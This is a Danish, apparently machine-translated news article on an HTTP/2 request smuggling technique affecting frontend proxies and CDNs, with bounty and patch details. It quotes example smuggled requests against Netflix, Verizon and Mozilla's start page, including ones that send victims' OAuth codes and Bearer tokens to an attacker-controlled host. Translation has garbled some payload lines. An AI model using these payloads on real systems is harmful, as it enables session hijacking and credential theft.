Websystemer, hvor frontend accepterer forbindelser via HTTP/2 og transmitterer dem til backend via HTTP/1.1, er blevet udsat for en ny variant af "HTTP Request Smuggling"-angrebet, som gør det muligt, ved at sende specialdesignede klientanmodninger, at kile ind i indholdet af anmodninger fra andre brugere, der behandles i samme flow mellem frontend og backend. Angrebet kan bruges til at indsætte ondsindet JavaScript-kode i en session med et legitimt websted, omgå adgangsbegrænsningssystemer og opsnappe godkendelsesparametre.
Problemet påvirker webproxyer, belastningsbalancere, webacceleratorer, indholdsleveringssystemer og andre konfigurationer, hvor anmodninger omdirigeres på en front-end-to-backend måde. Forfatteren af undersøgelsen demonstrerede muligheden for at angribe systemerne fra Netflix, Verizon, Bitbucket, Netlify CDN og Atlassian og modtog 56 tusind dollars i belønningsprogrammer for at identificere sårbarheder. Problemet er også blevet bekræftet i F5 Networks produkter. Problemet påvirker delvist mod_proxy i Apache http-serveren (CVE-2021-33193), en rettelse forventes i version 2.4.49 (udviklerne blev underrettet om problemet i begyndelsen af maj og fik 3 måneder til at rette det). I nginx blev muligheden for samtidigt at angive "Content-Length" og "Transfer-Encoding"-headerne blokeret i den sidste udgivelse (1.21.1). Angrebsværktøjer er allerede inkluderet i Burp-værktøjssættet og er tilgængelige i form af Turbo Intruder-udvidelsen.
Funktionsprincippet for den nye metode til at kile anmodninger ind i trafikken svarer til den sårbarhed, som den samme forsker identificerede for to år siden, men begrænset til frontends, der accepterer anmodninger over HTTP/1.1. Lad os huske på, at i frontend-backend-ordningen modtages klientanmodninger af en ekstra node - frontend, som etablerer en langvarig TCP-forbindelse med backend, som direkte behandler anmodninger. Gennem denne fælles forbindelse transmitteres normalt anmodninger fra forskellige brugere, som følger kæden efter hinanden, adskilt ved hjælp af HTTP-protokollen.
Det klassiske "HTTP Request Smuggling"-angreb var baseret på det faktum, at frontends og backends fortolker brugen af HTTP-headere "Content-Length" (bestemmer den samlede størrelse af dataene i anmodningen) og "Transfer-Encoding: chunked" (tillader data, der skal overføres i dele) anderledes. . For eksempel, hvis frontend kun understøtter "Content-Length", men ignorerer "Transfer-Encoding: chunked", så kan en angriber sende en anmodning, der indeholder både "Content-Length" og "Transfer-Encoding: chunked", men størrelsen er "Content-Length" svarer ikke til størrelsen på den chunked kæde. I dette tilfælde vil frontend behandle og omdirigere anmodningen i overensstemmelse med "Content-Length", og backend vil vente på færdiggørelsen af blokeringen baseret på "Transfer-Encoding: chunked", og den resterende del af angriberens anmodning vil være i begyndelsen af en andens anmodning, der sendes næste gang.
I modsætning til tekstprotokollen HTTP/1.1, som parses på linjeniveau, er HTTP/2 en binær protokol og manipulerer datablokke af en forudbestemt størrelse. HTTP/2 bruger dog pseudo-headere, der svarer til almindelige HTTP-headere. I tilfælde af interaktion med backend via HTTP/1.1-protokollen, oversætter frontend disse pseudo-headere til lignende HTTP-headere HTTP/1.1. Problemet er, at backend'en træffer beslutninger om at parse streamen baseret på HTTP-headerne sat af frontend, uden at have information om parametrene for den oprindelige anmodning.
Især værdierne "content-length" og "transfer-encoding" kan transmitteres i form af pseudo-headere, på trods af at de ikke bruges i HTTP/2, da størrelsen af alle data bestemmes i et separat felt. Men under processen med at konvertere en HTTP/2-anmodning til HTTP/1.1 overføres disse overskrifter og kan forvirre backend. Der er to hovedangrebsvarianter: H2.TE og H2.CL, hvor backend'en vildledes af en forkert overførselskodnings- eller indholdslængdeværdi, der ikke svarer til den faktiske størrelse af anmodningskroppen modtaget af frontenden via HTTP/2-protokol.
Et eksempel på et H2.CL-angreb er at angive en forkert størrelse i indholdslængde-pseudo-headeren, når du sender en HTTP/2-anmodning til Netflix. Denne anmodning fører til tilføjelse af en lignende HTTP-header Content-Length ved adgang til backend via HTTP/1.1, men da størrelsen i Content-Length er angivet mindre end den faktiske, behandles en del af dataene i halen som begyndelsen af den næste anmodning.
Anmod f.eks. HTTP/2 :metode POST :sti /n :autoritet www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar
Vil resultere i, at en anmodning sendes til backend: POST /n HTTP/1.1 Host: www.netflix.com Indholdslængde: 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar
Da Content-Length har en værdi på 4, accepterer backend kun "abcd" som brødteksten i anmodningen, og resten af "GET /n HTTP/1.1..." vil blive behandlet som begyndelsen af en efterfølgende anmodning knyttet til en anden bruger. Følgelig vil strømmen blive desynkroniseret, og som svar på den næste anmodning vil resultatet af behandlingen af dummy-anmodningen blive udstedt. I tilfælde af Netflix resulterede angivelse af en tredjepartsvært i "Host:"-headeren i en dummy-anmodning i, at klienten returnerede svaret "Location: https://02.rs?x.netflix.com/n" og tilladt at sende vilkårligt indhold til klienten, herunder Kør din JavaScript-kode i sammenhæng med Netflix-webstedet.
Den anden angrebsmulighed (H2.TE) involverer at erstatte "Transfer-Encoding: chunked"-headeren. Brugen af transfer-encoding pseudo-headeren i HTTP/2 er forbudt i henhold til specifikationen, og anmodninger med den er foreskrevet til at blive behandlet som forkerte. På trods af dette tager nogle frontend-implementeringer ikke dette krav i betragtning og tillader brugen af en overførselskodnings-pseudo-header i HTTP/2, som konverteres til en lignende HTTP-header. Hvis der er en "Transfer-Encoding"-header, kan backend tage det som en højere prioritet og parse dataene stykke for stykke i "chunked"-tilstand ved hjælp af blokke af forskellig størrelse i formatet "{size}\r\n{blok }\r\n{størrelse} \r\n{blok}\r\n0", på trods af den indledende opdeling efter samlet størrelse.
Tilstedeværelsen af et sådant hul blev demonstreret af eksemplet med Verizon. Problemet vedrørte autentificeringsportalen og indholdsstyringssystemet, som også bruges på sider som Huffington Post og Engadget. For eksempel, en klientanmodning via HTTP/2: :metode POST :sti /identitfy/XUI :authority id.b2b.oath.com overførsels-encoding chunked 0 GET /oops HTTP/1.1 Host: psres.net Indholdslængde: 10 x=
Resulterede i at sende en HTTP/1.1-anmodning til backend: POST /identity/XUI HTTP/1.1 Vært: id.b2b.oath.com Indholdslængde: 66 Overførselskodning: chunked 0 GET /oops HTTP/1.1 Vært: psres. nettoindhold- Længde: 10x=
Backend'en ignorerede til gengæld "Content-Length"-headeren og udførte in-stream-opdeling baseret på "Transfer-Encoding: chunked". I praksis gjorde angrebet det muligt at omdirigere brugeranmodninger til deres hjemmeside, herunder at opsnappe anmodninger relateret til OAuth-godkendelse, hvis parametre blev vist i Referer-headeren, samt at simulere en godkendelsessession og udløse brugerens system til at sende legitimationsoplysninger til angriberens vært. GET /b2blanding/show/oops HTTP/1.1 Vært: psres.net Henviser: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Vært: psres.net Autorisation: Bearer eyJhcGwiOiJIUzI1Gi1sInR6cCI6…
For at angribe HTTP/2-implementeringer, der ikke tillader, at transfer-encoding pseudo-headeren kan specificeres, er en anden metode blevet foreslået, der involverer at erstatte "Transfer-Encoding"-headeren ved at vedhæfte den til andre pseudo-headers adskilt af et newline-tegn ( når den konverteres til HTTP/1.1 i dette tilfælde opretter to separate HTTP-headere).
For eksempel var Atlassian Jira og Netlify CDN (brugt til at betjene Mozilla-startsiden i Firefox) berørt af dette problem. Specifikt HTTP/2-anmodningen :metode POST :sti / :autoritet start.mozilla.org foo b\r\n overførselskodning: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Host : evil-netlify-domæne\r\n Indholdslængde: 5\r\n \r\nx=
resulterede i, at HTTP/1.1 POST / HTTP/1.1-anmodning blev sendt til backend\r\n Vært: start.mozilla.org\r\n Foo: b\r\n Overførselskodning: chunked\r\n Indholdslængde : 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domæne\r\n Indholdslængde: 5\r\n \r \nx=
En anden mulighed for at erstatte "Transfer-Encoding"-headeren var at vedhæfte den til navnet på en anden pseudo-header eller til en linje med en anmodningsmetode. For eksempel, når man får adgang til Atlassian Jira, forårsagede pseudo-header-navnet "foo: bar\r\ntransfer-encoding" med værdien "chunked" at HTTP-headerne "foo: bar" og "transfer-encoding: chunked" blev tilføjet , og angivelse af pseudo-header ":method" værdi "GET / HTTP/1.1\r\nOverførsels-encoding: chunked" blev oversat til "GET / HTTP/1.1\r\ntransfer-encoding: chunked".
Forskeren, der identificerede problemet, foreslog også en request-tunneling-teknik til at angribe frontends, hvor hver IP-adresse etablerer en separat forbindelse til backend, og trafik fra forskellige brugere ikke blandes. Den foreslåede teknik tillader ikke at forstyrre anmodninger fra andre brugere, men gør det muligt at forgifte en delt cache, der påvirker behandlingen af andre anmodninger, og tillader substitution af interne HTTP-headere, der bruges til at overføre serviceinformation fra frontend til backend ( for eksempel ved autentificering på frontend-siden i Sådanne overskrifter kan overføre information om den aktuelle bruger til backend). Som et eksempel på at anvende metoden i praksis, ved hjælp af cache-forgiftning, var det muligt at få kontrol over sider i Bitbucket-tjenesten.
Kilde: opennet.ru